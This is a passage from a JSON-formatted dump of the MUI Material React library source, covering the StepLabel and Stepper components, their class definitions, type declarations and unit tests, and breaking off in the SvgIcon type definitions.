it('renders <Typography> with the className active', () => {\n      const { container } = render(\n        <Step active>\n          <StepLabel>Step One</StepLabel>\n        </Step>,\n      );\n\n      const label = container.querySelector(`.${classes.label}`);\n      expect(label).to.have.class(classes.active);\n    });\n\n    it('renders <StepIcon> with the <Step /> prop active set to true', () => {\n      const { container } = render(\n        <Stepper>\n          <Step active>\n            <StepLabel>Step One</StepLabel>\n          </Step>\n        </Stepper>,\n      );\n\n      const icon = container.querySelector(`.${iconClasses.root}`);\n      expect(icon).to.have.class(iconClasses.active);\n    });\n\n    it('renders <Typography> without the className active', () => {\n      const { container } = render(\n        <Step active={false}>\n          <StepLabel>Step One</StepLabel>\n        </Step>,\n      );\n\n      const label = container.querySelector(`.${classes.label}`);\n      expect(label).not.to.have.class(classes.active);\n    });\n  });\n\n  describe('<Step /> prop: completed', () => {\n    it('renders <Typography> with the className completed', () => {\n      const { container } = render(\n        <Step completed>\n          <StepLabel>Step One</StepLabel>\n        </Step>,\n      );\n\n      const label = container.querySelector(`.${classes.label}`);\n      expect(label).to.have.class(classes.active);\n    });\n\n    it('renders <StepIcon> with the prop completed set to true', () => {\n      const { container } = render(\n        <Stepper>\n          <Step completed>\n            <StepLabel>Step One</StepLabel>\n          </Step>\n        </Stepper>,\n      );\n\n      const icon = container.querySelector(`.${iconClasses.root}`);\n      expect(icon).to.have.class(iconClasses.active);\n    });\n  });\n\n  describe('prop: error', () => {\n    it('renders <Typography> with the className error', () => {\n      const { container } = render(<StepLabel error>Step One</StepLabel>);\n\n      const label = container.querySelector(`.${classes.label}`);\n      expect(label).to.have.class(classes.error);\n    });\n\n    it('renders <StepIcon> with the prop error set to true', () => {\n      const { container } = render(\n        <Stepper>\n          <Step>\n            <StepLabel error>Step One</StepLabel>\n          </Step>\n        </Stepper>,\n      );\n\n      const icon = container.querySelector(`.${iconClasses.root}`);\n      expect(icon).to.have.class(classes.error);\n    });\n  });\n\n  describe('<Step /> prop: disabled', () => {\n    it('renders with disabled className when disabled', () => {\n      const { container } = render(\n        <Step disabled>\n          <StepLabel>Step One</StepLabel>\n        </Step>,\n      );\n\n      const label = container.querySelector(`.${classes.root}`);\n      expect(label).to.have.class(classes.disabled);\n    });\n  });\n\n  describe('prop: optional = Optional Text', () => {\n    it('creates a <Typography> component with text \"Optional Text\"', () => {\n      render(\n        <StepLabel optional={<Typography variant=\"caption\">Optional Text</Typography>}>\n          Step One\n        </StepLabel>,\n      );\n\n      screen.getByText('Optional Text');\n    });\n  });\n\n  describe('slotProps: label', () => {\n    it('spreads the props on the label element', () => {\n      render(\n        <StepLabel\n          slotProps={{\n            label: {\n              'data-testid': 'label',\n              className: 'step-label-test',\n            },\n          }}\n        >\n          Label\n        </StepLabel>,\n      );\n\n      expect(screen.getByTestId('label')).to.have.class('step-label-test');\n    });\n  });\n\n  describe('renders <StepIcon> with the className completed', () => {\n    it('renders with completed className when completed', () => {\n      function CustomizedIcon() {\n        return <div data-testid=\"custom-icon\" />;\n      }\n      const { container } = render(\n        <Step completed>\n          <StepLabel slots={{ stepIcon: CustomizedIcon }}>Step One</StepLabel>\n        </Step>,\n      );\n\n      const icon = container.querySelector(`.${classes.iconContainer}`);\n      expect(icon).to.have.class(classes.completed);\n    });\n  });\n\n  describe('renders <StepIcon> with the className active', () => {\n    it('renders with active className when active', () => {\n      function CustomizedIcon() {\n        return <div data-testid=\"custom-icon\" />;\n      }\n      const { container } = render(\n        <Step active>\n          <StepLabel slots={{ stepIcon: CustomizedIcon }}>Step One</StepLabel>\n        </Step>,\n      );\n\n      const icon = container.querySelector(`.${classes.iconContainer}`);\n      expect(icon).to.have.class(classes.active);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/StepLabel/index.d.ts",
    "content": "export { default } from './StepLabel';\nexport * from './StepLabel';\n\nexport { default as stepLabelClasses } from './stepLabelClasses';\nexport * from './stepLabelClasses';\n"
  },
  {
    "path": "packages/mui-material/src/StepLabel/index.js",
    "content": "export { default } from './StepLabel';\n\nexport { default as stepLabelClasses } from './stepLabelClasses';\nexport * from './stepLabelClasses';\n"
  },
  {
    "path": "packages/mui-material/src/StepLabel/stepLabelClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface StepLabelClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the root element if `orientation=\"horizontal\"`. */\n  horizontal: string;\n  /** Styles applied to the root element if `orientation=\"vertical\"`. */\n  vertical: string;\n  /** Styles applied to the label element that wraps `children`. */\n  label: string;\n  /** State class applied to the label element if `active={true}`. */\n  active: string;\n  /** State class applied to the label element if `completed={true}`. */\n  completed: string;\n  /** State class applied to the root and label elements if `error={true}`. */\n  error: string;\n  /** State class applied to the root and label elements if `disabled={true}`. */\n  disabled: string;\n  /** Styles applied to the `icon` container element. */\n  iconContainer: string;\n  /** State class applied to the root and icon container and label if `alternativeLabel={true}`. */\n  alternativeLabel: string;\n  /** Styles applied to the container element which wraps label and `optional`. */\n  labelContainer: string;\n}\n\nexport type StepLabelClassKey = keyof StepLabelClasses;\n\nexport function getStepLabelUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiStepLabel', slot);\n}\n\nconst stepLabelClasses: StepLabelClasses = generateUtilityClasses('MuiStepLabel', [\n  'root',\n  'horizontal',\n  'vertical',\n  'label',\n  'active',\n  'completed',\n  'error',\n  'disabled',\n  'iconContainer',\n  'alternativeLabel',\n  'labelContainer',\n]);\n\nexport default stepLabelClasses;\n"
  },
  {
    "path": "packages/mui-material/src/Stepper/Stepper.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { OverridableComponent, OverrideProps } from '../OverridableComponent';\nimport { Theme } from '../styles';\nimport { PaperProps } from '../Paper';\nimport { StepperClasses } from './stepperClasses';\n\nexport type Orientation = 'horizontal' | 'vertical';\n\nexport interface StepperOwnProps extends Pick<PaperProps, 'elevation' | 'square' | 'variant'> {\n  /**\n   * Set the active step (zero based index).\n   * Set to -1 to disable all the steps.\n   * @default 0\n   */\n  activeStep?: number | undefined;\n  /**\n   * If set to 'true' and orientation is horizontal,\n   * then the step label will be positioned under the icon.\n   * @default false\n   */\n  alternativeLabel?: boolean | undefined;\n  /**\n   * Two or more `<Step />` components.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<StepperClasses> | undefined;\n  /**\n   * An element to be placed between each step.\n   * @default <StepConnector />\n   */\n  connector?: React.ReactElement<unknown, any> | null | undefined;\n  /**\n   * If set the `Stepper` will not assist in controlling steps for linear flow.\n   * @default false\n   */\n  nonLinear?: boolean | undefined;\n  /**\n   * The component orientation (layout flow direction).\n   * @default 'horizontal'\n   */\n  orientation?: Orientation | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\nexport interface StepperTypeMap<\n  AdditionalProps = {},\n  RootComponent extends React.ElementType = 'div',\n> {\n  props: AdditionalProps & StepperOwnProps;\n  defaultComponent: RootComponent;\n}\n\nexport type StepperProps<\n  RootComponent extends React.ElementType = StepperTypeMap['defaultComponent'],\n  AdditionalProps = { component?: React.ElementType | undefined },\n> = OverrideProps<StepperTypeMap<AdditionalProps, RootComponent>, RootComponent> & {\n  component?: React.ElementType | undefined;\n};\n\nexport type StepperClasskey = keyof NonNullable<StepperProps['classes']>;\n\n/**\n *\n * Demos:\n *\n * - [Stepper](https://next.mui.com/material-ui/react-stepper/)\n *\n * API:\n *\n * - [Stepper API](https://next.mui.com/material-ui/api/stepper/)\n */\ndeclare const Stepper: OverridableComponent<StepperTypeMap>;\n\nexport default Stepper;\n"
  },
  {
    "path": "packages/mui-material/src/Stepper/Stepper.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport integerPropType from '@mui/utils/integerPropType';\nimport composeClasses from '@mui/utils/composeClasses';\nimport { useRtl } from '@mui/system/RtlProvider';\nimport useRovingTabIndex from '../utils/useRovingTabIndex';\nimport { styled } from '../zero-styled';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport { getStepperUtilityClass } from './stepperClasses';\nimport StepConnector from '../StepConnector';\nimport { StepperContextProvider } from './StepperContext';\nimport StepButton from '../StepButton';\n\nconst useUtilityClasses = (ownerState) => {\n  const { orientation, nonLinear, alternativeLabel, classes } = ownerState;\n  const slots = {\n    root: ['root', orientation, nonLinear && 'nonLinear', alternativeLabel && 'alternativeLabel'],\n  };\n\n  return composeClasses(slots, getStepperUtilityClass, classes);\n};\n\nconst StepperRoot = styled('ol', {\n  name: 'MuiStepper',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n    return [\n      styles.root,\n      styles[ownerState.orientation],\n      ownerState.alternativeLabel && styles.alternativeLabel,\n      ownerState.nonLinear && styles.nonLinear,\n    ];\n  },\n})({\n  display: 'flex',\n  listStyle: 'none',\n  margin: 0,\n  padding: 0,\n  variants: [\n    {\n      props: { orientation: 'horizontal' },\n      style: {\n        flexDirection: 'row',\n        alignItems: 'center',\n      },\n    },\n    {\n      props: { orientation: 'vertical' },\n      style: {\n        flexDirection: 'column',\n      },\n    },\n    {\n      props: { alternativeLabel: true },\n      style: {\n        alignItems: 'flex-start',\n      },\n    },\n  ],\n});\n\nconst defaultConnector = <StepConnector />;\n\nconst Stepper = React.forwardRef(function Stepper(inProps, ref) {\n  const isRtl = useRtl();\n  const props = useDefaultProps({ props: inProps, name: 'MuiStepper' });\n  const {\n    activeStep = 0,\n    alternativeLabel = false,\n    children,\n    className,\n    component = 'ol',\n    connector = defaultConnector,\n    nonLinear = false,\n    orientation = 'horizontal',\n    ...other\n  } = props;\n\n  const ownerState = {\n    ...props,\n    nonLinear,\n    alternativeLabel,\n    orientation,\n    component,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  const childrenArray = React.Children.toArray(children).filter(Boolean);\n  const totalSteps = childrenArray.length;\n  const isTabList = childrenArray.some((child) => {\n    if (!React.isValidElement(child)) {\n      return false;\n    }\n\n    if (child.type === StepButton) {\n      return true;\n    }\n\n    const grandChildren = child.props.children;\n\n    if (grandChildren) {\n      return React.Children.toArray(grandChildren).some(\n        (grandChild) => React.isValidElement(grandChild) && grandChild.type === StepButton,\n      );\n    }\n\n    return false;\n  });\n  const steps = childrenArray.map((step, index) => {\n    return React.cloneElement(step, {\n      index,\n      last: index + 1 === totalSteps,\n      ...step.props,\n    });\n  });\n\n  const { getContainerProps, getItemProps } = useRovingTabIndex({\n    orientation,\n    isRtl,\n  });\n  const rovingTabIndexContainerProps = getContainerProps(ref);\n\n  const contextValue = React.useMemo(\n    () => ({\n      activeStep,\n      alternativeLabel,\n      connector,\n      nonLinear,\n      orientation,\n      totalSteps,\n      getRovingTabIndexProps: getItemProps,\n      isTabList,\n    }),\n    [\n      activeStep,\n      alternativeLabel,\n      connector,\n      nonLinear,\n      orientation,\n      totalSteps,\n      getItemProps,\n      isTabList,\n    ],\n  );\n\n  return (\n    <StepperContextProvider value={contextValue}>\n      <StepperRoot\n        as={component}\n        ownerState={ownerState}\n        className={clsx(classes.root, className)}\n        ref={ref}\n        {...(isTabList && {\n          role: 'tablist',\n          'aria-orientation': orientation,\n          ...rovingTabIndexContainerProps,\n        })}\n        {...other}\n      >\n        {steps}\n      </StepperRoot>\n    </StepperContextProvider>\n  );\n});\n\nStepper.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * Set the active step (zero based index).\n   * Set to -1 to disable all the steps.\n   * @default 0\n   */\n  activeStep: integerPropType,\n  /**\n   * If set to 'true' and orientation is horizontal,\n   * then the step label will be positioned under the icon.\n   * @default false\n   */\n  alternativeLabel: PropTypes.bool,\n  /**\n   * Two or more `<Step />` components.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The component used for the root node.\n   * Either a string to use a HTML element or a component.\n   */\n  component: PropTypes.elementType,\n  /**\n   * An element to be placed between each step.\n   * @default <StepConnector />\n   */\n  connector: PropTypes.element,\n  /**\n   * If set the `Stepper` will not assist in controlling steps for linear flow.\n   * @default false\n   */\n  nonLinear: PropTypes.bool,\n  /**\n   * The component orientation (layout flow direction).\n   * @default 'horizontal'\n   */\n  orientation: PropTypes.oneOf(['horizontal', 'vertical']),\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default Stepper;\n"
  },
  {
    "path": "packages/mui-material/src/Stepper/Stepper.spec.tsx",
    "content": "import Stepper from '@mui/material/Stepper';\n\n<Stepper component=\"a\" href=\"/\" elevation={8} variant=\"elevation\" orientation=\"vertical\" />;\n\n<Stepper sx={(theme) => ({ bgcolor: 'red', borderColor: theme.palette.divider })} />;\n"
  },
  {
    "path": "packages/mui-material/src/Stepper/Stepper.test.tsx",
    "content": "import { expect } from 'chai';\nimport { createRenderer, screen } from '@mui/internal-test-utils';\nimport Step, { StepProps, stepClasses } from '@mui/material/Step';\nimport StepLabel from '@mui/material/StepLabel';\nimport StepConnector, { stepConnectorClasses } from '@mui/material/StepConnector';\nimport StepContent, { stepContentClasses } from '@mui/material/StepContent';\nimport Stepper, { stepperClasses as classes } from '@mui/material/Stepper';\nimport describeConformance from '../../test/describeConformance';\nimport StepButton from '../StepButton';\n\ndescribe('<Stepper />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(\n    <Stepper>\n      <Step />\n    </Stepper>,\n    () => ({\n      classes,\n      inheritComponent: 'div',\n      render,\n      muiName: 'MuiStepper',\n      refInstanceof: window.HTMLOListElement,\n      testVariantProps: { variant: 'foo' },\n      testStateOverrides: { prop: 'alternativeLabel', value: true, styleKey: 'alternativeLabel' },\n    }),\n  );\n\n  describe('rendering children', () => {\n    it('renders 3 Step and 2 StepConnector components', () => {\n      const { container } = render(\n        <Stepper>\n          <Step />\n          <Step />\n          <Step />\n        </Stepper>,\n      );\n\n      const connectors = container.querySelectorAll(`.${stepConnectorClasses.root}`);\n      const steps = container.querySelectorAll(`.${stepClasses.root}`);\n\n      expect(connectors).to.have.length(2);\n      expect(steps).to.have.length(3);\n    });\n  });\n\n  describe('controlling child props', () => {\n    it('controls children linearly based on the activeStep prop', () => {\n      const { container, setProps } = render(\n        <Stepper activeStep={0}>\n          <Step />\n          <Step />\n          <Step />\n        </Stepper>,\n      );\n\n      const steps = container.querySelectorAll(`.${stepClasses.root}`);\n      const connectors = container.querySelectorAll(`.${stepConnectorClasses.root}`);\n\n      expect(steps[0]).not.to.have.class(stepClasses.completed);\n      expect(steps[1]).not.to.have.class(stepClasses.completed);\n      expect(steps[2]).not.to.have.class(stepClasses.completed);\n      expect(connectors[0]).to.have.class(stepConnectorClasses.disabled);\n      expect(connectors[1]).to.have.class(stepConnectorClasses.disabled);\n\n      setProps({ activeStep: 1 });\n\n      expect(steps[0]).to.have.class(stepClasses.completed);\n      expect(steps[1]).not.to.have.class(stepClasses.completed);\n      expect(steps[2]).not.to.have.class(stepClasses.completed);\n      expect(connectors[0]).not.to.have.class(stepConnectorClasses.disabled);\n      expect(connectors[0]).to.have.class(stepConnectorClasses.active);\n      expect(connectors[1]).to.have.class(stepConnectorClasses.disabled);\n    });\n\n    it('controls children non-linearly based on the activeStep prop', () => {\n      const { container, setProps } = render(\n        <Stepper nonLinear activeStep={0}>\n          <Step />\n          <Step />\n          <Step />\n        </Stepper>,\n      );\n\n      const steps = container.querySelectorAll(`.${stepClasses.root}`);\n      const connectors = container.querySelectorAll(`.${stepConnectorClasses.root}`);\n\n      expect(steps[0]).not.to.have.class(stepClasses.completed);\n      expect(steps[1]).not.to.have.class(stepClasses.completed);\n      expect(steps[2]).not.to.have.class(stepClasses.completed);\n      expect(connectors[0]).not.to.have.class(stepConnectorClasses.disabled);\n      expect(connectors[1]).not.to.have.class(stepConnectorClasses.disabled);\n\n      setProps({ activeStep: 1 });\n\n      expect(steps[0]).not.to.have.class(stepClasses.completed);\n      expect(steps[1]).not.to.have.class(stepClasses.completed);\n      expect(steps[2]).not.to.have.class(stepClasses.completed);\n      expect(connectors[0]).not.to.have.class(stepConnectorClasses.disabled);\n      expect(connectors[0]).to.have.class(stepConnectorClasses.active);\n      expect(connectors[1]).not.to.have.class(stepConnectorClasses.disabled);\n\n      setProps({ activeStep: 2 });\n\n      expect(steps[0]).not.to.have.class(stepClasses.completed);\n      expect(steps[1]).not.to.have.class(stepClasses.completed);\n      expect(steps[2]).not.to.have.class(stepClasses.completed);\n      expect(connectors[0]).not.to.have.class(stepConnectorClasses.disabled);\n      expect(connectors[1]).not.to.have.class(stepConnectorClasses.disabled);\n      expect(connectors[1]).to.have.class(stepConnectorClasses.active);\n    });\n\n    it('passes index down correctly when rendering children containing arrays', () => {\n      function CustomStep({ index }: StepProps) {\n        return <div data-index={index} data-testid=\"step\" />;\n      }\n\n      render(\n        <Stepper nonLinear>\n          <CustomStep />\n          {[<CustomStep key={1} />, <CustomStep key={2} />]}\n        </Stepper>,\n      );\n\n      const steps = screen.getAllByTestId('step');\n\n      expect(steps[0]).to.have.attribute('data-index', '0');\n      expect(steps[1]).to.have.attribute('data-index', '1');\n      expect(steps[2]).to.have.attribute('data-index', '2');\n    });\n  });\n\n  describe('step connector', () => {\n    it('should have a default step connector', () => {\n      const { container } = render(\n        <Stepper>\n          <Step />\n          <Step />\n        </Stepper>,\n      );\n\n      const connectors = container.querySelectorAll(`.${stepConnectorClasses.root}`);\n\n      expect(connectors).to.have.length(1);\n    });\n\n    it('should allow the developer to specify a custom step connector', () => {\n      function CustomConnector() {\n        return <div className=\"CustomConnector\" />;\n      }\n      const { container } = render(\n        <Stepper connector={<CustomConnector />}>\n          <Step />\n          <Step />\n        </Stepper>,\n      );\n\n      const defaultConnectors = container.querySelectorAll(`.${stepConnectorClasses.root}`);\n      const customConnectors = container.querySelectorAll('.CustomConnector');\n\n      expect(defaultConnectors).to.have.length(0);\n      expect(customConnectors).to.have.length(1);\n    });\n\n    it('should allow the step connector to be removed', () => {\n      const { container } = render(\n        <Stepper connector={null}>\n          <Step />\n          <Step />\n        </Stepper>,\n      );\n\n      const connectors = container.querySelectorAll(`.${stepConnectorClasses.root}`);\n\n      expect(connectors).to.have.length(0);\n    });\n\n    it('should pass active prop to connector when second step is active', () => {\n      const { container } = render(\n        <Stepper activeStep={1}>\n          <Step />\n          <Step />\n        </Stepper>,\n      );\n\n      const connector = container.querySelector(`.${stepConnectorClasses.root}`);\n\n      expect(connector).to.have.class(stepConnectorClasses.active);\n    });\n\n    it('should pass completed prop to connector when second step is completed', () => {\n      const { container } = render(\n        <Stepper activeStep={2}>\n          <Step />\n          <Step />\n        </Stepper>,\n      );\n\n      const connector = container.querySelector(`.${stepConnectorClasses.root}`);\n\n      expect(connector).to.have.class(stepConnectorClasses.completed);\n    });\n\n    it('should pass correct active and completed props to the StepConnector with nonLinear prop', () => {\n      const steps = ['Step1', 'Step2', 'Step3'];\n\n      const { container } = render(\n        <Stepper orientation=\"horizontal\" nonLinear connector={<StepConnector />}>\n          {steps.map((label, index) => (\n            <Step key={label} active completed={index === 2}>\n              <StepLabel>{label}</StepLabel>\n            </Step>\n          ))}\n        </Stepper>,\n      );\n\n      const connectors = container.querySelectorAll(`.${stepConnectorClasses.root}`);\n\n      expect(connectors).to.have.length(2);\n      expect(connectors[0]).to.have.class(stepConnectorClasses.active);\n      expect(connectors[0]).not.to.have.class(stepConnectorClasses.completed);\n\n      expect(connectors[1]).to.have.class(stepConnectorClasses.active);\n      expect(connectors[1]).to.have.class(stepConnectorClasses.completed);\n    });\n  });\n\n  it('renders with a null child', () => {\n    const { container } = render(\n      <Stepper>\n        <Step />\n        {null}\n      </Stepper>,\n    );\n\n    const steps = container.querySelectorAll(`.${stepClasses.root}`);\n\n    expect(steps).to.have.length(1);\n  });\n\n  it('should hide the last connector', () => {\n    const { container } = render(\n      <Stepper orientation=\"vertical\">\n        <Step>\n          <StepLabel>one</StepLabel>\n          <StepContent />\n        </Step>\n        <Step>\n          <StepLabel>two</StepLabel>\n          <StepContent />\n        </Step>\n      </Stepper>,\n    );\n\n    const stepContent = container.querySelectorAll(`.${stepContentClasses.root}`);\n\n    expect(stepContent[0]).not.to.have.class(stepContentClasses.last);\n    expect(stepContent[1]).to.have.class(stepContentClasses.last);\n  });\n\n  it('should apply non-linear class', () => {\n    const { container } = render(\n      <Stepper nonLinear activeStep={0}>\n        <Step />\n        <Step />\n        <Step />\n      </Stepper>,\n    );\n\n    const stepper = container.querySelector(`.${classes.root}`);\n    expect(stepper).to.have.class(classes.nonLinear);\n  });\n\n  it('should render a tablist when at least one step is a StepButton', () => {\n    const { container } = render(\n      <Stepper activeStep={0}>\n        <Step>\n          <StepButton>one</StepButton>\n        </Step>\n      </Stepper>,\n    );\n\n    const stepper = container.querySelector(`.${classes.root}`);\n    expect(stepper).to.have.attribute('role', 'tablist');\n    expect(stepper).to.have.attribute('aria-orientation', 'horizontal');\n  });\n\n  it('should render a vertical tablist when at least one step is a StepButton and orientation is vertical', () => {\n    const { container } = render(\n      <Stepper activeStep={0} orientation=\"vertical\">\n        <Step>\n          <StepButton>one</StepButton>\n        </Step>\n      </Stepper>,\n    );\n\n    const stepper = container.querySelector(`.${classes.root}`);\n    expect(stepper).to.have.attribute('role', 'tablist');\n    expect(stepper).to.have.attribute('aria-orientation', 'vertical');\n  });\n\n  it('should not render a tablist when no steps are StepButtons', () => {\n    const { container } = render(\n      <Stepper activeStep={0}>\n        <Step>\n          <StepLabel>one</StepLabel>\n        </Step>\n      </Stepper>,\n    );\n\n    const stepper = container.querySelector(`.${classes.root}`);\n    expect(stepper).not.to.have.attribute('role', 'tablist');\n    expect(stepper).not.to.have.attribute('aria-orientation');\n  });\n\n  describe('keyboard navigation', () => {\n    it('should move focus to the next tab when pressing the right arrow key', async () => {\n      const { user } = render(\n        <Stepper nonLinear>\n          <Step>\n            <StepButton>one</StepButton>\n          </Step>\n          <Step disabled>\n            <StepButton>two</StepButton>\n          </Step>\n          <Step>\n            <StepButton>three</StepButton>\n          </Step>\n        </Stepper>,\n      );\n\n      const tabElements = screen.getAllByRole('tab');\n\n      await user.tab();\n      expect(tabElements[0]).toHaveFocus();\n      expect(tabElements[0]).to.have.attribute('tabIndex', '0');\n      expect(tabElements[1]).to.have.attribute('tabIndex', '-1');\n\n      await user.keyboard('{ArrowRight}');\n      expect(tabElements[2]).toHaveFocus();\n      expect(tabElements[2]).to.have.attribute('tabIndex', '0');\n      expect(tabElements[0]).to.have.attribute('tabIndex', '-1');\n\n      await user.keyboard('{ArrowRight}');\n      expect(tabElements[0]).toHaveFocus();\n      expect(tabElements[0]).to.have.attribute('tabIndex', '0');\n      expect(tabElements[2]).to.have.attribute('tabIndex', '-1');\n\n      await user.keyboard('{ArrowLeft}');\n      expect(tabElements[2]).toHaveFocus();\n      expect(tabElements[2]).to.have.attribute('tabIndex', '0');\n      expect(tabElements[0]).to.have.attribute('tabIndex', '-1');\n\n      await user.keyboard('{ArrowLeft}');\n      expect(tabElements[0]).toHaveFocus();\n      expect(tabElements[0]).to.have.attribute('tabIndex', '0');\n      expect(tabElements[2]).to.have.attribute('tabIndex', '-1');\n    });\n\n    it('should add tabindex=\"0\" to the focused tab', async () => {\n      const { user } = render(\n        <Stepper nonLinear>\n          <Step>\n            <StepButton>one</StepButton>\n          </Step>\n          <Step>\n            <StepButton>two</StepButton>\n          </Step>\n        </Stepper>,\n      );\n\n      const tabElements = screen.getAllByRole('tab');\n\n      await user.click(tabElements[1]);\n      expect(tabElements[1]).to.have.attribute('tabIndex', '0');\n      expect(tabElements[0]).to.have.attribute('tabIndex', '-1');\n\n      await user.click(tabElements[0]);\n      expect(tabElements[0]).to.have.attribute('tabIndex', '0');\n      expect(tabElements[1]).to.have.attribute('tabIndex', '-1');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/Stepper/StepperContext.ts",
    "content": "'use client';\nimport * as React from 'react';\n\nexport interface StepperContextType {\n  activeStep: number;\n  alternativeLabel: boolean;\n  connector: React.ReactNode;\n  nonLinear: boolean;\n  orientation: 'horizontal' | 'vertical';\n  totalSteps: number;\n  getRovingTabIndexProps: (\n    index: number,\n    ref?: React.Ref<HTMLElement>,\n  ) => {\n    ref: (element: HTMLElement | null) => void;\n    tabIndex: number;\n  };\n  isTabList: boolean;\n}\n\n/**\n * Provides information about the current step in Stepper.\n */\nconst StepperContext = React.createContext<StepperContextType | {}>({});\n\nif (process.env.NODE_ENV !== 'production') {\n  StepperContext.displayName = 'StepperContext';\n}\n\n/**\n * Returns the current StepperContext or an empty object if no StepperContext\n * has been defined in the component tree.\n */\nexport function useStepperContext(): StepperContextType | {} {\n  return React.useContext(StepperContext);\n}\n\nexport const StepperContextProvider = StepperContext.Provider;\nexport default StepperContext;\n"
  },
  {
    "path": "packages/mui-material/src/Stepper/index.d.ts",
    "content": "export { default } from './Stepper';\nexport * from './Stepper';\n\nexport { default as stepperClasses } from './stepperClasses';\nexport * from './stepperClasses';\n\nexport * from './StepperContext';\n"
  },
  {
    "path": "packages/mui-material/src/Stepper/index.js",
    "content": "export { default } from './Stepper';\n\nexport { default as stepperClasses } from './stepperClasses';\nexport * from './stepperClasses';\n\nexport { default as StepperContext } from './StepperContext';\nexport * from './StepperContext';\n"
  },
  {
    "path": "packages/mui-material/src/Stepper/stepperClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface StepperClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the root element if `orientation=\"horizontal\"`. */\n  horizontal: string;\n  /** Styles applied to the root element if `orientation=\"vertical\"`. */\n  vertical: string;\n  /** Styles applied to the root element if `nonLinear={true}`. */\n  nonLinear: string;\n  /** Styles applied to the root element if `alternativeLabel={true}`. */\n  alternativeLabel: string;\n}\n\nexport type StepperClassKey = keyof StepperClasses;\n\nexport function getStepperUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiStepper', slot);\n}\n\nconst stepperClasses: StepperClasses = generateUtilityClasses('MuiStepper', [\n  'root',\n  'horizontal',\n  'vertical',\n  'nonLinear',\n  'alternativeLabel',\n]);\n\nexport default stepperClasses;\n"
  },
  {
    "path": "packages/mui-material/src/SvgIcon/SvgIcon.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { OverridableStringUnion } from '@mui/types';\nimport { Theme } from '../styles';\nimport { OverridableComponent, OverrideProps } from '../OverridableComponent';\nimport { SvgIconClasses } from './svgIconClasses';\n\nexport interface SvgIconPropsSizeOverrides {}\n\nexport interface SvgIconPropsColorOverrides {}\n\nexport interface SvgIconOwnProps {\n  /**\n   * Node passed into the SVG element.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<SvgIconClasses> | undefined;\n  /**\n   * The color of the component.\n   * It supports both default and custom theme colors, which can be added as shown in the\n   * [palette customization guide](https://mui.com/material-ui/customization/palette/#custom-colors).\n   * You can use the `htmlColor` prop to apply a color attribute to the SVG element.\n   * @default 'inherit'\n   */\n  color?:\n    | OverridableStringUnion<\n        | 'inherit'\n        | 'action'\n        | 'disabled'\n        | 'primary'\n        | 'secondary'\n        | 'error'\n        | 'info'\n        | 'success'\n        | 'warning',\n        SvgIconPropsColorOverrides\n      >\n    | undefined;\n  /**\n   * The fontSize applied to the icon. Defaults to 24px, but can be configure to inherit font size.\n   * @default 'medium'\n   */\n  fontSize?:\n    | OverridableStringUnion<'inherit' | 'large' | 'medium' | 'small', SvgIconPropsSizeOverrides>\n    | undefined;\n  /**\n   * Applies a color attribute to the SVG element.\n   */\n  htmlColor?: string | undefined;\n  /**\n   * If `true`, the root node will inherit the custom `component`'s viewBox and the `viewBox`\n   * prop will be ignored.\n   * Useful when you want to reference a custom `component` and have `SvgIcon` pass that\n   * `component`'s viewBox to the root node.\n   * @default false\n   */\n  inheritViewBox?: boolean | undefined;\n  /**\n   * The shape-rendering attribute. The behavior of the different options is described on the\n   * [MDN Web Docs](https://developer.mozilla.org/en-US/docs/Web/SVG/Reference/Attribute/shape-rendering).\n   * If you are having issues with blurry icons you should investigate this prop.\n   */\n  shapeRendering?: string | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n  /**\n   * Provides a human-readable title for the element that contains it.\n   * https://www.w3.org/TR/SVG-access/#Equivalent\n   */\n  titleAccess?: string | undefined;\n  /**\n   * Allows you to redefine what the coordinates without units mean inside an SVG element.\n   * For example, if the SVG element is 500 (width) by 200 (height),\n   * and you pass viewBox=\"0 0 50 20\",\n   * this means that the coordinates inside the SVG will go from the top left corner (0,0)\n   * to bottom right (50,20) and each unit will be worth 10px.\n   * @default '0 0 24 24'\n   */\n  viewBox?: string | undefined;\n}\n\nexport interface SvgIconTypeMap<\n  AdditionalProps = {},\n  RootComponent extends React.ElementType = 'svg',\n> {\n  props: AdditionalProps & SvgIconOwnProps;\n  defaultComponent: RootComponent;\n}\n/**\n *\n * Demos:\n *\n * - 